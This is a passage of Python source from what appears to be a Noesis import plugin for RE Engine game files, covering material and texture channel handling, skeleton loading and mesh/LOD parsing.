\"r8r8r8\")\n\t\t\t\t\t\t\t\t\troughnessTexData = rapi.imageDecodeRaw(roughnessTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\tif not isImageBlank(roughnessTexData, noetex.width, noetex.height, 4):\n\t\t\t\t\t\t\t\t\t\troughnessTexName = texName.replace(texOutputExt, \"_NoesisRGH\" + texOutputExt)\n\t\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(roughnessTexName, noetex.width, noetex.height, roughnessTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\t\t\t\tmaterial.setBumpTexture(roughnessTexName)\n\t\t\t\t\t\t\t\tif \"isNRR\" in extraParam:\n\t\t\t\t\t\t\t\t\tnoetex.pixelData = rapi.imageSwapChannelRGBA32(noetex.pixelData, 3, 0)\n\t\t\t\t\t\t\t\t\t#noetex.pixelData = rapi.imageNormalSwizzle(noetex.pixelData, noetex.width, noetex.height, 1, 0, 0)\n\t\t\t\t\t\t\t\t\t#noetex.pixelData = moveChannelsRGBA(noetex.pixelData, 3, noetex.width, noetex.height, noetex.pixelData, [0], noetex.width, noetex.height)\n\t\t\t\t\t\t\t\t\tnoetex.pixelData = moveChannelsRGBA(noetex.pixelData, -2, noetex.width, noetex.height, noetex.pixelData, [2,3], noetex.width, noetex.height)\n\t\t\t\t\t\t\t\t\t#noetex.pixelData = invertRawRGBAChannel(noetex.pixelData, 1)\n\t\t\t\t\t\t\t\tif \"isALBA\" == extraParam:\n\t\t\t\t\t\t\t\t\topacityTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"a8a8a8\")\n\t\t\t\t\t\t\t\t\topacityTexData = rapi.imageDecodeRaw(opacityTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\topacityName = texName.replace(texOutputExt, \"_NoesisAlpha\" + texOutputExt)\n\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(opacityName, noetex.width, noetex.height, opacityTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\t\tif \"isLYMO\" == extraParam:\n\t\t\t\t\t\t\t\t\t#r=metal? g= b=roughness? a=ao?\n\t\t\t\t\t\t\t\t\tmaterialFlags |= noesis.NMATFLAG_PBR_METAL\n\t\t\t\t\t\t\t\t\tmetalTexName = texName.replace(texOutputExt, \"_NoesisMET\" + texOutputExt)\n\t\t\t\t\t\t\t\t\tmetalTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"r8r8r8\")\n\t\t\t\t\t\t\t\t\tmetalTexData = rapi.imageDecodeRaw(metalTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\tmaterial.setSpecularTexture(metalTexName)\n\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(metalTexName, noetex.width, noetex.height, metalTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\t\t\tif dialogOptions.doConvertMatsForBlender:\n\t\t\t\t\t\t\t\t\t\troughnessTexName = texName.replace(texOutputExt, \"_NoesisRGH\" + texOutputExt)\n\t\t\t\t\t\t\t\t\t\troughnessTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"b8b8b8\")\n\t\t\t\t\t\t\t\t\t\troughnessTexData = rapi.imageDecodeRaw(roughnessTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(roughnessTexName, noetex.width, noetex.height, roughnessTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\t\t\t\tmaterial.setBumpTexture(roughnessTexName)\n\t\t\t\t\t\t\t\t\tnoetex.pixelData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"a8a8a8\")\n\t\t\t\t\t\t\t\t\tnoetex.pixelData = rapi.imageDecodeRaw(noetex.pixelData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\tmaterial.setOcclTexture(noetex.name)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif \"isATOS\" in extraParam:\n\t\t\t\t\t\t\t\t\timgData = copy.copy(noetex.pixelData)\n\t\t\t\t\t\t\t\t\taoTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"b8b8b8\")\n\t\t\t\t\t\t\t\t\taoTexData = rapi.imageDecodeRaw(aoTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\tif not isImageBlank(aoTexData, noetex.width, noetex.height):\n\t\t\t\t\t\t\t\t\t\tnoetex.name = texName.replace(texOutputExt, \"_NoesisAO\" + texOutputExt)\n\t\t\t\t\t\t\t\t\t\tself.texList[len(self.texList)-1].pixelData = aoTexData\n\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\tself.texList.remove(noetex)\n\t\t\t\t\t\t\t\t\t\tmaterial.setOcclTexture(\"\")\n\t\t\t\t\t\t\t\t\tif extraParam == \"isATOS_Alpha\" and not opacityName:\n\t\t\t\t\t\t\t\t\t\topacityTexData = rapi.imageEncodeRaw(imgData, noetex.width, noetex.height, \"r8r8r8\")\n\t\t\t\t\t\t\t\t\t\topacityTexData = rapi.imageDecodeRaw(opacityTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\t\tif not isImageBlank(opacityTexData, noetex.width, noetex.height):\n\t\t\t\t\t\t\t\t\t\t\topacityName = texName.replace(texOutputExt, \"_NoesisAlpha\" + texOutputExt)\n\t\t\t\t\t\t\t\t\t\t\tmaterialFlags |= noesis.NMATFLAG_TWOSIDED\n\t\t\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(opacityName, noetex.width, noetex.height, opacityTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\talreadyLoadedTexs.append(texName)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint (\"Failed to load\", texName)\n\t\t\t\t\n\t\t\t\tif opacityName and hasTransparency:\n\t\t\t\t\tmaterial.setAlphaTest(0.05)\n\t\t\t\t\tmaterial.setOpacityTexture(opacityName)\n\t\t\t\t\tif dialogOptions.doConvertMatsForBlender:\n\t\t\t\t\t\tmaterial.setEnvTexture(opacityName)\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif doPrintMDF:\n\t\t\t\t\tprint(textureType + \":\\n \" + textureName)\n\t\t\t\n\t\t\tif secondaryDiffuse and not bFoundBM:\n\t\t\t\tmaterial.setTexture(secondaryDiffuse)\n\t\t\t\tmaterial.setSpecularColor([.25, .25, .25, 1])\n\t\t\t\n\t\t\tif texCount:\n\t\t\t\tif not bFoundBM:\n\t\t\t\t\tdummyTexName = textureName.replace(texOutputExt, \"_NoesisColor\" + texOutputExt)\n\t\t\t\t\tmaterial.setTexture(dummyTexName)\n\t\t\t\t\tif dummyTexName not in alreadyLoadedTexs:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tbyteColor = [int((1 if color > 1.0 else 0 if color < 0.0 else color) * 255) for color in texBaseColour[i]]\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tbyteColor = [127, 127, 127, 255]\n\t\t\t\t\t\tself.texList.append(generateDummyTexture4px(byteColor, dummyTexName))\n\t\t\t\t\t\talreadyLoadedTexs.append(dummyTexName)\n\t\t\t\tif not bFoundNM:\n\t\t\t\t\tmaterial.setNormalTexture(\"NoesisNRM\" + texOutputExt)\n\t\t\t\t\tif \"NoesisNRM\" + texOutputExt not in alreadyLoadedTexs:\n\t\t\t\t\t\tself.texList.append(generateDummyTexture4px((127, 127, 255, 255), \"NoesisNRM\" + texOutputExt))\n\t\t\t\t\t\talreadyLoadedTexs.append(\"NoesisNRM\" + texOutputExt)\n\t\t\t\t\t\n\t\t\tmaterial.setFlags(materialFlags)\n\t\t\tmaterial.setFlags2(materialFlags2)\n\t\t\tself.matList.append(material)\n\t\t\t\n\t\t\tlowername = material.name.lower()\n\t\t\tif (\"eye\" in lowername and not material.texName) or \"tearline\" in lowername or \"lens\" in lowername or \"destroy\" in lowername: #\"ao\" in lowername or \"out\" in lowername or \n\t\t\t\tmaterial.setSkipRender(True)\n\t\t\t\n\t\t\tif doPrintMDF:\n\t\t\t\tprint(\"--------------------------------------------------------------------------------------------\\n\")\n\t\t\t\t\t\n\t\tif bPrintFileList:\n\t\t\tif len(self.texNames) > 0:\n\t\t\t\tprint (\"\\nReferenced Files:\")\n\t\t\t\ttextureList = sorted(list(set(self.texNames)))\n\t\t\t\tfor x in range (len(textureList)):\n\t\t\t\t\tprint (textureList[x])\n\t\t\t\tprint (\"\")\n\t\t\t\n\t\t\tif len(self.missingTexNames) > 0:\n\t\t\t\tprint (\"Missing Files:\")\n\t\t\t\tmissingTextureList = sorted(list(set(self.missingTexNames)))\n\t\t\t\tfor x in range (len(missingTextureList)):\n\t\t\t\t\tprint (missingTextureList[x])\n\t\t\t\tprint (\"\")\n\n\t\tif doColorize:\n\t\t\tcolorList = sorted(list(set(self.texColors)))\n\t\t\tprint (\"Color-coded Materials:\")\n\t\t\tfor g in range (len(colorList)):\n\t\t\t\tprint (colorList[g])\n\t\t\tprint (\"\")\n\t\t\n\t\tfor mat in self.matList:\n\t\t\tif mat.name not in usedMats:\n\t\t\t\tusedMats.append(mat.name)\n\t\t\t\tself.fullMatList.append(mat)\n\t\tfor tex in self.texList:\n\t\t\tif tex.name not in usedTexs:\n\t\t\t\tusedTexs.append(tex.name)\n\t\t\t\tself.fullTexList.append(tex)\n\t\t\n\t\treturn True\n\t\t\n\t'''MESH IMPORT ========================================================================================================================================================================'''\n\tdef loadMeshFile(self): #, mdlList):\n\t\t\n\t\tglobal sGameName, bSkinningEnabled, isSF6, isExoPrimal\n\t\tbs = self.inFile\n\t\tmagic = bs.readUInt()\n\t\tmeshVersion = bs.readUInt()\n\t\tfileSize = bs.readUInt()\n\t\tdeferredWarning = \"\"\n\t\tbDoSkin = True\n\t\t\n\t\tbs.seek(numNodesLocation)\n\t\tnumNodes = bs.readUInt()\n\t\tbs.seek(LOD1OffsetLocation)\n\t\tLOD1Offs = bs.readUInt64()\n\t\tLOD2Offs = bs.readUInt64()\n\t\toccluderMeshOffs = bs.readUInt64()\n\t\tbs.seek(vBuffHdrOffsLocation) \n\t\tvBuffHdrOffs = bs.readUInt64() \n\t\tbs.seek(bonesOffsLocation) \n\t\tbonesOffs = bs.readUInt64() \n\t\tbs.seek(nodesIndicesOffsLocation) \n\t\tnodesIndicesOffs = bs.readUInt64() \n\t\tboneIndicesOffs = bs.readUInt64() \n\t\tbs.seek(namesOffsLocation)\n\t\tnamesOffs = bs.readUInt64()\n\t\t\n\t\tif LOD1Offs:\n\t\t\tbs.seek(LOD1Offs)\n\t\t\tcountArray = bs.read(\"16B\") #[0] = LODGroupCount, [1] = MaterialCount, [2] = UVChannelCount\n\t\t\tmatCount = countArray[1]\n\t\t\tself.rootDir = GetRootGameDir(self.path)\n\t\t\tbLoadedMats = False\n\t\t\tif not (noesis.optWasInvoked(\"-noprompt\")) and not bRenameMeshesToFilenames and not rapi.noesisIsExporting() and not (dialogOptions.dialog != None and dialogOptions.doLoadTex == False):\n\t\t\t\tbLoadedMats = self.createMaterials(matCount)\n\t\t\tif bDebugMESH:\n\t\t\t\tprint(\"Count Array\")\n\t\t\t\tprint(countArray)\n\t\t\n\t\tbs.seek(vBuffHdrOffs)\n\t\tvertElemHdrOffs = bs.readUInt64()\n\t\tvertBuffOffs = bs.readUInt64()\n\t\t\n\t\tif self.ver >= 3: #isSF6 or isExoPrimal:\n\t\t\tuknVB = bs.readUInt64()\n\t\t\tvertBuffSize = bs.readUInt()\n\t\t\tface_buffOffsSF6 = bs.readUInt()\n\t\t\tfaceBuffOffs = face_buffOffsSF6 + vertBuffOffs;\n\t\telse:\n\t\t\tfaceBuffOffs = bs.readUInt64()\n\t\t\tif sGameName == \"RERT\" or sGameName == \"RE7RT\" or sGameName == \"MHRSunbreak\":\n\t\t\t\tuknInt64 = bs.readUInt64()\n\t\t\tvertBuffSize = bs.readUInt()\n\t\t\tfaceBuffSize = bs.readUInt()\n\t\t\n\t\tvertElemCountA = bs.readUShort()\n\t\tvertElemCountB = bs.readUShort()\n\t\tfaceBufferSize2nd = bs.readUInt64()\n\t\tblendshapesOffset = bs.readUInt()\n\t\t\n\t\tbs.seek(vertElemHdrOffs)\n\t\tvertElemHeaders = []\n\t\tpositionIndex = -1\n\t\tnormalIndex = -1\n\t\tcolorIndex = -1\n\t\tuvIndex = -1\n\t\tuv2Index = -1\n\t\tweightIndex = -1\n\t\t\n\t\tfor i in range (vertElemCountB):\n\t\t\tvertElemHeaders.append([bs.readUShort(), bs.readUShort(), bs.readUInt()])\n\t\t\tif vertElemHeaders[i][0] == 0 and positionIndex == -1:\n\t\t\t\tpositionIndex = i\n\t\t\telif vertElemHeaders[i][0] == 1 and normalIndex == -1:\n\t\t\t\tnormalIndex = i\n\t\t\telif vertElemHeaders[i][0] == 2 and uvIndex == -1:\n\t\t\t\tuvIndex = i\n\t\t\telif vertElemHeaders[i][0] == 3 and uv2Index == -1:\n\t\t\t\tuv2Index = i\n\t\t\telif vertElemHeaders[i][0] == 4 and weightIndex == -1:\n\t\t\t\tweightIndex = i\n\t\t\telif vertElemHeaders[i][0] == 5 and colorIndex == -1:\n\t\t\t\tcolorIndex = i\n\t\tbs.seek(vertBuffOffs)\n\t\t\n\t\tvertexStartIndex = bs.tell()\n\t\t#print (vertElemHdrOffs, vertBuffOffs, uknVB, vertBuffSize, faceBuffOffs, vertElemCountA, vertElemCountB)\n\t\tvertexBuffer = bs.readBytes(vertBuffSize)\n\t\tsubmeshDataArr = []\n\t\t\n\t\tif LOD1Offs:\t\n\t\t\t\n\t\t\tbs.seek(LOD1Offs + 48 + 16) #unknown floats and bounding box\n\t\t\t\n\t\t\tif self.ver <= 1: #sGameName != \"RERT\" and sGameName != \"ReVerse\" and sGameName != \"RE8\" and sGameName != \"MHRise\": \n\t\t\t\tbs.seek(bs.readUInt64())\n\t\t\t\n\t\t\toffsetInfo = []\n\t\t\tfor i in range(countArray[0]):\n\t\t\t\toffsetInfo.append(bs.readUInt64())\n\t\t\t\t\n\t\t\tif bDebugMESH:\n\t\t\t\tprint(\"Vertex Info Offsets\")\n\t\t\t\tprint(offsetInfo)\n\t\t\t\n\t\t\tnameOffsets = []\n\t\t\tnames = []\n\t\t\tnameRemapTable = []\n\t\t\t\n\t\t\tbs.seek(nodesIndicesOffs)\n\t\t\tfor i in range(numNodes):\n\t\t\t\tnameRemapTable.append(bs.readUShort())\n\t\t\t\t\n\t\t\tbs.seek(namesOffs)\n\t\t\tfor i in range(numNodes):\n\t\t\t\tnameOffsets.append(bs.readUInt64())\n\t\t\t\t\n\t\t\tfor i in range(numNodes):\n\t\t\t\tbs.seek(nameOffsets[i])\n\t\t\t\tnames.append(bs.readString())\n\t\t\t\t\n\t\t\tif bDebugMESH:\n\t\t\t\tprint(\"Names:\")\n\t\t\t\tprint(names)\n\t\t\t\t\n\t\t\tbs.seek(nodesIndicesOffs) #material indices\n\t\t\tmatIndices =[]\n\t\t\tfor i in range(matCount):\n\t\t\t\tmatIndices.append(bs.readUShort())\n\t\t\t\n\t\t\tisSCN = (rapi.getInputName().lower().find(\".scn\") != -1)\n\t\t\tfullBonesOffs = len(self.fullBoneList)\n\t\t\tfullRemapOffs = len(self.fullRemapTable)\n\t\t\tfullBoneNames = [cleanBoneName(bone.name).lower() for bone in self.fullBoneList]\n\t\t\tboneRemapTable = []\n\t\t\t\n\t\t\t#bSkinningEnabled = bDoSkin = bonesOffs = 0\n\t\t\t\n\t\t\t#Skeleton\n\t\t\tif bonesOffs:\n\t\t\t\tbs.seek(bonesOffs)\n\t\t\t\tboneCount = bs.readUInt()\n\t\t\t\tboneMapCount = bs.readUInt()\t\n\t\t\t\tbAddNumbers = False\n\t\t\t\tif rapi.getInputName().find(\".noesis\") == -1 and (not dialogOptions.dialog or len(dialogOptions.dialog.loadItems) == 1) and (not dialogOptions.motDialog or not dialogOptions.motDialog.loadItems) :\n\t\t\t\t\tmaxBones = 1024 if isSF6 == True else 256\n\t\t\t\t\tif bAddBoneNumbers == 1 or noesis.optWasInvoked(\"-bonenumbers\"):\n\t\t\t\t\t\tbAddNumbers = True\n\t\t\t\t\telif bAddBoneNumbers == 2 and boneCount > maxBones and rapi.getInputName().lower().find(\".scn\") == -1:\n\t\t\t\t\t\tbAddNumbers = True\n\t\t\t\t\t\tprint (\"Model has more than\", maxBones, \"bones, auto-enabling bone numbers...\")\n\t\t\t\t\n\t\t\t\tbs.seek(bonesOffs + 16)\n\t\t\t\t\n\t\t\t\tif boneCount:\n\t\t\t\t\thierarchyOffs = bs.readUInt64()\n\t\t\t\t\tlocalOffs = bs.readUInt64()\n\t\t\t\t\tglobalOffs = bs.readUInt64()\n\t\t\t\t\tinverseGlobalOffs = bs.readUInt64()\n\t\t\t\t\t\n\t\t\t\t\tif boneMapCount:\n\t\t\t\t\t\tfor i in range(boneMapCount):\n\t\t\t\t\t\t\tboneRemapTable.append(bs.readShort() + fullBonesOffs)\n\t\t\t\t\telse:\n\t\t\t\t\t\tdeferredWarning = \"WARNING: Mesh has weights but no bone map\"\n\t\t\t\t\t\tprint(deferredWarning)\n\t\t\t\t\t\tboneRemapTable.append(0)\n\t\t\t\t\t\t\n\t\t\t\t\tif bDebugMESH:\n\t\t\t\t\t\tprint(\"boneRemapTable:\", boneRemapTable)\n\n\t\t\t\t\tboneParentInfo = []\n\t\t\t\t\tbs.seek(hierarchyOffs)\n\t\t\t\t\tfor i in range(boneCount):\n\t\t\t\t\t\tboneParentInfo.append([bs.readShort(), bs.readShort(), bs.readShort(), bs.readShort(), bs.readShort(), bs.readShort(), bs.readShort(), bs.readShort()])\n\t\t\t\t\t\n\t\t\t\t\tbs.seek(localOffs)\n\t\t\t\t\tfor i in range(boneCount):\n\t\t\t\t\t\tmat = NoeMat44.fromBytes(bs.readBytes(0x40)).toMat43()\n\t\t\t\t\t\tmat[3] *= fDefaultMeshScale\n\t\t\t\t\t\tboneName = names[countArray[1] + i]\n\t\t\t\t\t\tlowerBoneName = boneName.lower()\n\t\t\t\t\t\t#if i==0 and \"root\" in boneName.lower():\n\t\t\t\t\t\t#\tmat[3][1] = 0 #neutralize Y offset for root bone\n\t\t\t\t\t\t\n\t\t\t\t\t\tif bAddNumbers: \n\t\t\t\t\t\t\tfor j in range(len(boneRemapTable)):\n\t\t\t\t\t\t\t\tif boneParentInfo[i][0] == boneRemapTable[j]:\n\t\t\t\t\t\t\t\t\tboneName = \"b\" + \"{:03d}\".format(j+1) + \":\" + boneName\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tparentIdx = boneParentInfo[i][1]\n\t\t\t\t\t\tif not isSCN and lowerBoneName in fullBoneNames:\n\t\t\t\t\t\t\tif i == 0: #relocate this mesh's root bone onto base skeleton version\n\t\t\t\t\t\t\t#if lowerBoneName == \"cog\" or lowerBoneName == \"hip\" or lowerBoneName == \"c_hip\":\n\t\t\t\t\t\t\t\tprint(\"Relocating bone\", boneName)\n\t\t\t\t\t\t\t\tnewMat = self.fullBoneList[fullBoneNames.index(lowerBoneName)].getMatrix()\n\t\t\t\t\t\t\t\tself.pos = (newMat[3] - mat[3]) / fDefaultMeshScale\n\t\t\t\t\t\t\t\tmat = newMat\n\t\t\t\t\t\t\tctr = 1\n\t\t\t\t\t\t\tnewBoneName = boneName + \".\" + rapi.getLocalFileName(self.path).split(\".\")[0]\n\t\t\t\t\t\t\twhile newBoneName.lower() in fullBoneNames:\n\t\t\t\t\t\t\t\tnewBoneName = boneName + \".\" + rapi.getLocalFileName(self.path).split(\".\")[0] + \"-\" + str(ctr)\n\t\t\t\t\t\t\t\tctr += 1\n\t\t\t\t\t\t\tboneName = newBoneName\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t#if (parentIdx == -1 or parentIdx == i) and (i > 0 or self.fullBoneList):\n\t\t\t\t\t\t#\tprint(\"changed parent\", boneName)\n\t\t\t\t\t\t#\tparentIndex = 0\n\t\t\t\t\t\t\n\t\t\t\t\t\tself.boneList.append(NoeBone(boneParentInfo[i][0], boneName, mat, None, parentIdx))\n\t\t\t\t\t\t\n\t\t\t\t\tself.boneList = rapi.multiplyBones(self.boneList)\n\t\t\t\t\t\n\t\t\t\t\tif bRotateBonesUpright:\n\t\t\t\t\t\trot_mat = NoeMat43(((1, 0, 0), (0, 0, 1), (0, -1, 0), (0, 0, 0)))\n\t\t\t\t\t\tfor bone in self.boneList: \n\t\t\t\t\t\t\tbone.setMatrix( (bone.getMatrix().inverse() * rot_mat).inverse()) \t#rotate upright in-place\n\t\t\t\t\tfor bone in self.boneList: \n\t\t\t\t\t\tbone.index += fullBonesOffs\n\t\t\t\t\t\tif bone.parentIndex != -1:\n\t\t\t\t\t\t\tbone.parentIndex += fullBonesOffs\n\t\t\t\t\t\tif bone.parentIndex == -1 and fullBonesOffs > 0:\n\t\t\t\t\t\t\tbone.parentIndex = 0\n\t\t\t\telse:\n\t\t\t\t\tbDoSkin = False\n\t\t\t\t\t\n\t\t\t\n\t\t\tself.fullBoneList.extend(self.boneList)\n\t\t\tself.fullRemapTable.extend(boneRemapTable)\n\t\t\t\n\t\t\t#print(offsetInfo)\n\t\t\tfor i in range(countArray[0]): # LODGroups\n\t\t\t\t\n\t\t\t\tmeshVertexInfo = []\n\t\t\t\t#ctx = rapi.rpgCreateContext()\n\t\t\t\tbs.seek(offsetInfo[i])\n\t\t\t\tnumOffsets = bs.readUByte()\n\t\t\t\tbs.seek(3,1)\n\t\t\t\tuknFloat = bs.readUInt()\n\t\t\t\toffsetSubOffsets = bs.readUInt64()\n\t\t\t\tbs.seek(offsetSubOffsets)\n\t\t\t\t\n\t\t\t\tmeshOffsetInfo = []\n\t\t\t\t\n\t\t\t\tfor j in range(numOffsets):\n\t\t\t\t\tmeshOffsetInfo.append(bs.readUInt64())\n\t\t\t\t\n\t\t\t\tnumVertsLOD = 0\n\t\t\t\t\n\t\t\t\tfor j in range(numOffsets): # MainMeshes\n\t\t\t\t\tbs.seek(meshOffsetInfo[j])\n\t\t\t\t\tmeshVertexInfo.append([bs.readUByte(), bs.readUByte(), bs.readUShort(), bs.readUInt(), bs.readUInt(), bs.readUInt()]) #GroupID, NumMesh, unused, unused, numVerts, numFaces\n\t\t\t\t\tself.groupIDs.append(meshVertexInfo[len(meshVertexInfo)-1][0])\n\t\t\t\t\tsubmeshData = []\n\t\t\t\t\tfor k in range(meshVertexInfo[j][1]):\n\t\t\t\t\t\tif self.ver >= 2: #sGameName == \"RERT\" or sGameName == \"ReVerse\" or sGameName == \"MHRise\" or sGameName == \"RE8\" or sGameName == \"SF6\":\n\t\t\t\t\t\t\tsubmeshData.append([bs.readUShort(), bs.readUShort(), bs.readUInt(), bs.readUInt(), bs.readUInt(), bs.readUInt64(), self.groupIDs[len(self.groupIDs)-1]]) \n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsubmeshData.append([bs.readUShort(), bs.readUShort(), bs.readUInt(), bs.readUInt(), bs.readUInt(), self.groupIDs[len(self.groupIDs)-1]]) #0 MaterialID, 1 faceCount, 2 indexBufferStartIndex, 3 vertexStartIndex\n\t\t\t\t\t\n\t\t\t\t\tsubmeshDataArr.append(submeshData)\n\t\t\t\t\t\n\t\t\t\t\tfor k in range(meshVertexInfo[j][1]): # Submeshes\n\t\t\t\t\t\t\n\t\t\t\t\t\tmainMeshNo = self.groupIDs[len(self.groupIDs)-1] if bReadGroupIds else j+1\n\t\t\t\t\t\tmainMeshStr = \"_Group_\" if bReadGroupIds else \"_MainMesh_\" if not bShorterNames else \"_Main_\"\n\t\t\t\t\t\t\n\t\t\t\t\t\tmaterialID = submeshData[k][0]\n\t\t\t\t\t\tuknSubmeshID = submeshData[k][1]\n\t\t\t\t\t\tnumFaces\t = submeshData[k][2]\n\t\t\t\t\t\tfacesBefore = submeshData[k][3]\n\t\t\t\t\t\tvertsBefore = submeshData[k][4]\n\t\t\t\t\t\tuknSubmeshInt1 = submeshData[k][5]\n\t\t\t\t\t\t\n\t\t\t\t\t\tnumVerts = submeshData[k+1][4] - vertsBefore if k+1 < len(submeshData) else meshVertexInfo[j][4] - (submeshData[k][4] - numVertsLOD)\n\t\t\t\t\t\t\n\t\t\t\t\t\tmainMeshNo = self.groupIDs[len(self.groupIDs)-1] if bReadGroupIds else j+1\n\t\t\t\t\t\tmainMeshStr = \"_Group_\" if bReadGroupIds else \"_MainMesh_\" if not bShorterNames else \"_Main_\"\n\t\t\t\t\t\t\n\t\t\t\t\t\tif bUseOldNamingScheme:\n\t\t\t\t\t\t\tmeshName = \"LODGroup_\" + str(i+1) + mainMeshStr + str(mainMeshNo) + \"_SubMesh_\" + str(materialID+1)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif bRenameMeshesToFilenames:\n\t\t\t\t\t\t\t\tmeshName = os.path.splitext(rapi.getLocalFileName(sInputName))[0].replace(\".mesh\", \"\") + \"_\" + str(mainMeshNo) + \"_\" + str(k+1)\n\t\t\t\t\t\t\telif bShorterNames:\n\t\t\t\t\t\t\t\tmeshName = \"LOD_\" + str(i+1) + mainMeshStr + str(mainMeshNo) + \"_Sub_\" + str(k+1)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tmeshName = \"LODGroup_\" + str(i+1) + mainMeshStr + str(mainMeshNo) + \"_SubMesh_\" + str(k+1)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (dialogOptions.dialog and len(dialogOptions.dialog.loadItems) > 1) or isSCN:\n\t\t\t\t\t\t\tmeshName = rapi.getLocalFileName(self.path).split(\".\")[0].replace(\"_\", \"\") + \"_\" + meshName.split(\"_\", 1)[1]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\trapi.rpgSetName(meshName)\n\t\t\t\t\t\tif bRenameMeshesToFilenames: \n\t\t\t\t\t\t\trapi.rpgSetMaterial(meshName)\n\t\t\t\t\t\tmatName = \"\"; matHash = 0\n\t\t\t\t\t\t\n\t\t\t\t\t\t#Search for material\n\t\t\t\t\t\tif bLoadedMats:\n\t\t\t\t\t\t\tmatHash = hash_wide(names[matIndices[materialID]])\n\t\t\t\t\t\t\tif i == 0:\n\t\t\t\t\t\t\t\tfor m in range(len(self.matHashes)):\n\t\t\t\t\t\t\t\t\tif self.matHashes[m] == matHash:\n\t\t\t\t\t\t\t\t\t\tif self.matNames[m] != names[nameRemapTable[materialID]]:\n\t\t\t\t\t\t\t\t\t\t\tprint (\"WARNING: \" + meshName + \"\\'s material name \\\"\" + self.matNames[m] + \"\\\" in MDF does not match its material hash! \\n\tTrue material name: \\\"\" + names[nameRemapTable[materialID]] + \"\\\"\")\n\t\t\t\t\t\t\t\t\t\tmatName = self.matNames[m]\n\t\t\t\t\t\t\t\t\t\t#rapi.rpgSetLightmap(matArray[k].replace(\".dds\".lower(), \"\"))\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif matName == \"\":\n\t\t\t\t\t\t\tif matHash == 0: \n\t\t\t\t\t\t\t\tmatHash = hash_wide(names[matIndices[materialID]])\n\t\t\t\t\t\t\tif bLoadedMats:\n\t\t\t\t\t\t\t\tprint (\"WARNING: \" + meshName + \"\\'s material \\\"\" + names[nameRemapTable[materialID]] + \"\\\" hash \" + str(matHash) + \" not found in MDF!\")\n\t\t\t\t\t\t\tself.matNames.append(names[nameRemapTable[materialID]])\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmatName = self.matNames[len(self.matNames)-1]\n\t\t\t\t\t\t\n\t\t\t\t\t\trapi.rpgSetMaterial(matName)\n\t\t\t\t\t\trapi.rpgSetPosScaleBias((fDefaultMeshScale, fDefaultMeshScale, fDefaultMeshScale), (0, 0, 0))\n\t\t\t\t\t\tif bImportMaterialNames:\n\t\t\t\t\t\t\t#rapi.rpgSetName(meshName + \"__\" + matName + \"__\" + str(submeshData[k][len(submeshData[k])-1]))\n\t\t\t\t\t\t\trapi.rpgSetName(meshName + '__' + matName)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif positionIndex != -1:\n\t\t\t\t\t\t\tif self.pos: #position offset\n\t\t\t\t\t\t\t\tposList = []\n\t\t\t\t\t\t\t\tfor v in range(vertsBefore, vertsBefore+numVerts):\n\t\t\t\t\t\t\t\t\tidx = 12 * v\n\t\t\t\t\t\t\t\t\ttransVec = NoeVec3(((struct.unpack_from('f', vertexBuffer, idx))[0], (struct.unpack_from('f', vertexBuffer, idx + 4))[0], (struct.unpack_from('f', vertexBuffer, idx + 8))[0])) * self.rot.transpose()\n\t\t\t\t\t\t\t\t\tposList.append(transVec[0] + self.pos[0]) \n\t\t\t\t\t\t\t\t\tposList.append(transVec[1] + self.pos[1])\n\t\t\t\t\t\t\t\t\tposList.append(transVec[2] + self.pos[2])\n\t\t\t\t\t\t\t\tposBuff = struct.pack(\"<\" + 'f'*len(posList), *posList)\n\t\t\t\t\t\t\t\trapi.rpgBindPositionBufferOfs(posBuff, noesis.RPGEODATA_FLOAT, 12, 0)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\trapi.rpgBindPositionBufferOfs(vertexBuffer, noesis.RPGEODATA_FLOAT, vertElemHeaders[positionIndex][1], (vertElemHeaders[positionIndex][1] * vertsBefore))\n\t\t\t\t\t\t\n\t\t\t\t\t\tif normalIndex != -1 and bNORMsEnabled:\n\t\t\t\t\t\t\tif bDebugNormals and not bColorsEnabled:\n\t\t\t\t\t\t\t\trapi.rpgBindColorBufferOfs(vertexBuffer, noesis.RPGEODATA_BYTE, vertElemHeaders[normalIndex][1], 